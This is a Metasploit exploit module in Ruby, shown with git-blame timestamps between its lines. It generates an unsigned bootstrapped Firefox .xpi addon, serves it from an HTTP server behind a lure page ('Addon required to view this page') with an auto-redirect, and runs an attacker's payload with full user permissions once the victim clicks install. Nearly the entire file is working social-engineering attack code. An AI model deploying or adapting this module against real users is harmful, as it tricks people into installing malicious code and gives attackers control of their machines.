2012-04-10 13:33:04 +02:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-04-10 13:33:04 +02:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'rex/zip'
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2012-04-10 13:33:04 +02:00
|
|
|
Rank = ExcellentRanking
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-04-10 13:33:04 +02:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2013-12-18 20:35:43 -06:00
|
|
|
include Msf::Exploit::Remote::FirefoxAddonGenerator
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-04-10 13:33:04 +02:00
|
|
|
def initialize( info = {} )
|
|
|
|
|
super( update_info( info,
|
|
|
|
|
'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
|
|
|
|
|
'Description' => %q{
|
2022-09-05 02:23:37 +10:00
|
|
|
Mozilla Firefox before version 41 allowed users to install
|
|
|
|
|
unsigned browser extensions from arbitrary web servers.
|
|
|
|
|
|
|
|
|
|
This module dynamically creates an unsigned .xpi addon file.
|
2012-04-10 13:22:10 -05:00
|
|
|
The resulting bootstrapped Firefox addon is presented to
|
2014-01-02 01:10:08 -06:00
|
|
|
the victim via a web page. The victim's Firefox browser
|
2012-04-10 13:33:04 +02:00
|
|
|
will pop a dialog asking if they trust the addon.
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-04-10 13:33:04 +02:00
|
|
|
Once the user clicks "install", the addon is installed and
|
|
|
|
|
executes the payload with full user permissions. As of Firefox
|
|
|
|
|
4, this will work without a restart as the addon is marked to
|
|
|
|
|
be "bootstrapped". As the addon will execute the payload after
|
|
|
|
|
each Firefox restart, an option can be given to automatically
|
|
|
|
|
uninstall the addon once the payload has been executed.
|
2022-09-05 02:23:37 +10:00
|
|
|
|
|
|
|
|
As of Firefox 41, unsigned extensions can still be installed
|
|
|
|
|
on Firefox Nightly, Unbranded and Development builds when
|
|
|
|
|
configured with `xpinstall.signatures.required` set to `false`.
|
|
|
|
|
|
|
|
|
|
Note: this module generates legacy extensions which are
|
|
|
|
|
supported only in Firefox before version 57.
|
2012-04-10 13:33:04 +02:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2014-01-02 01:10:08 -06:00
|
|
|
'Author' => [ 'mihi', 'joev' ],
|
2022-09-05 02:23:37 +10:00
|
|
|
'DisclosureDate' => '2007-06-27',
|
|
|
|
|
'References' => [
|
|
|
|
|
[ 'URL', 'https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/' ],
|
|
|
|
|
[ 'URL', 'https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/' ],
|
|
|
|
|
[ 'URL', 'https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon' ],
|
|
|
|
|
[ 'URL', 'https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions' ],
|
|
|
|
|
[ 'URL', 'https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
|
|
|
|
|
],
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
|
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
|
|
|
|
|
'Stability' => [CRASH_SAFE]
|
|
|
|
|
}
|
2012-04-10 13:33:04 +02:00
|
|
|
))
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-01-02 01:10:08 -06:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
if request.uri.match(/\.xpi$/i)
|
|
|
|
|
# browser has navigated to the .xpi file
|
|
|
|
|
print_status("Sending xpi and waiting for user to click 'accept'...")
|
|
|
|
|
if not xpi = generate_addon_xpi(cli)
|
|
|
|
|
print_error("Failed to generate the payload.")
|
|
|
|
|
send_not_found(cli)
|
|
|
|
|
else
|
|
|
|
|
send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
|
|
|
|
|
end
|
|
|
|
|
else
|
|
|
|
|
# initial browser request
|
|
|
|
|
# force the user to access a directory-like URL
|
2012-04-10 13:33:04 +02:00
|
|
|
if not request.uri.match(/\/$/)
|
2014-01-02 01:10:08 -06:00
|
|
|
print_status("Redirecting request." )
|
|
|
|
|
send_redirect(cli, "#{get_resource}/")
|
|
|
|
|
else
|
|
|
|
|
# user has navigated
|
2015-03-07 17:08:08 -06:00
|
|
|
print_status("Sending HTML response." )
|
2014-01-02 01:10:08 -06:00
|
|
|
send_response_html(cli, generate_html)
|
2012-04-10 13:33:04 +02:00
|
|
|
end
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-01-02 01:10:08 -06:00
|
|
|
handler(cli)
|
2012-04-10 13:33:04 +02:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-04-10 13:33:04 +02:00
|
|
|
def generate_html
|
2017-08-30 23:16:46 -05:00
|
|
|
html = %Q|<html><head><title>Loading, Please Wait...</title>\n|
|
|
|
|
|
html << %Q|<meta http-equiv="refresh" content="0; url=addon.xpi"></head>\n|
|
2014-09-02 12:27:35 -05:00
|
|
|
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
|
|
|
|
|
html << %Q|</body></html>|
|
|
|
|
|
return html
|
2012-04-10 13:33:04 +02:00
|
|
|
end
|
|
|
|
|
end
|
